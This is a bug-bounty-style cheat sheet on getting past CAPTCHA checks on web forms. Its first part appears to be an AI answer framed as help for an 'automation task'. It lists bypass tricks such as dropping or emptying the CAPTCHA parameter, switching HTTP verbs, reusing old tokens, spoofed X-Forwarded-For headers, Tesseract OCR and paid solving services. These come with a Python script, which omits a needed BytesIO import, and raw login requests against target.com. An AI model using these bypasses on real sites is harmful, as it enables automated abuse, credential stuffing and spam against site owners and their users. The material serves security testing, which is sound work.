CAPTCHA

Captcha Bypass via response manipulation

It seems like you're looking for a way to handle CAPTCHA on a website for an automation task. Here’s a structured approach based on your points:

1. Do not send the parameter related to the CAPTCHA.

   • When making a request, omit the CAPTCHA parameter entirely to see how the server responds.

2. Change from POST to GET or other HTTP Verbs.

   • Experiment with changing the HTTP method of your request from POST to GET, or try other methods like PUT or DELETE, depending on what the endpoint supports.

3. Change to JSON or from JSON.

   • If the request is currently sending data as form-encoded, try sending it as JSON instead, or vice versa.

4. Send the CAPTCHA parameter empty.

   • Include the CAPTCHA parameter in the request but leave its value empty to see how the server responds.

5. Check if the value of the CAPTCHA is in the source code of the page.

   • Inspect the HTML source code of the page to see if the CAPTCHA value is embedded directly.

6. Check if the value is inside a cookie.

   • Look for cookies set by the server which might contain the CAPTCHA value or related information.

7. Try to use an old CAPTCHA value.

   • Reuse an old CAPTCHA value to check if it’s still valid.

8. Check if you can use the same CAPTCHA value several times with the same or different session ID.

   • Test the reuse of CAPTCHA values with the same session ID and with different session IDs to see if it’s possible to bypass it.

9. If the CAPTCHA consists of a mathematical operation, try to automate the calculation.

   • Automate the solution of mathematical CAPTCHAs using a script.

10. If the CAPTCHA consists of reading characters from an image, check manually or with code how many images are being used and if only a few images are being used, detect them by MD5.

    • Manually analyze or write a script to identify unique CAPTCHA images and use their MD5 hashes for recognition.

11. Use an OCR Tesseract OCR.

    • Use Tesseract OCR to automate the reading of text-based CAPTCHA images.

12. Online services to bypass CAPTCHAs (e.g., Capsolver).

    • Consider using online CAPTCHA solving services like Capsolver.

Here's an example of using Python with requests and Tesseract OCR for handling text-based CAPTCHA images:

import requests
from PIL import Image
import pytesseract

# Function to get CAPTCHA image and solve it
def solve_captcha(image_url):
    response = requests.get(image_url)
    img = Image.open(BytesIO(response.content))
    captcha_text = pytesseract.image_to_string(img)
    return captcha_text.strip()

# Example request without CAPTCHA parameter
response = requests.get("https://example.com/api/endpoint")
print(response.text)

# Example request with empty CAPTCHA parameter
response = requests.post("https://example.com/api/endpoint", data={"captcha": ""})
print(response.text)

# Example request with CAPTCHA parameter solved using OCR
captcha_text = solve_captcha("https://example.com/captcha/image")
response = requests.post("https://example.com/api/endpoint", data={"captcha": captcha_text})
print(response.text)

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Bypass Captcha (Google reCAPTCHA)

1. Try changing the request method, for example POST to GET

POST / HTTP 1.1
Host: target.com
...

_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123

Change the method to GET

GET /?_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123 HTTP 1.1
Host: target.com
...

1. Try remove the value of the captcha parameter

POST / HTTP 1.1
Host: target.com
...

_RequestVerificationToken=&_Username=daffa&_Password=test123

1. Try reuse old captcha token

POST / HTTP 1.1
Host: target.com
...

_RequestVerificationToken=OLD_CAPTCHA_TOKEN&_Username=daffa&_Password=test123

1. Convert JSON data to normal request parameter

POST / HTTP 1.1
Host: target.com
...

{"_RequestVerificationToken":"xxxxxxxxxxxxxx","_Username":"daffa","_Password":"test123"}

Convert to normal request

POST / HTTP 1.1
Host: target.com
...

_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123

1. Try custom header to bypass captcha

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1

1. Change some specific characters of the captcha parameter and see if it is possible to bypass the restriction.

POST / HTTP 1.1
Host: target.com
...

_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123

Try this to bypass

POST / HTTP 1.1
Host: target.com
...

_RequestVerificationToken=xxxdxxxaxxcxxx&_Username=daffa&_Password=test123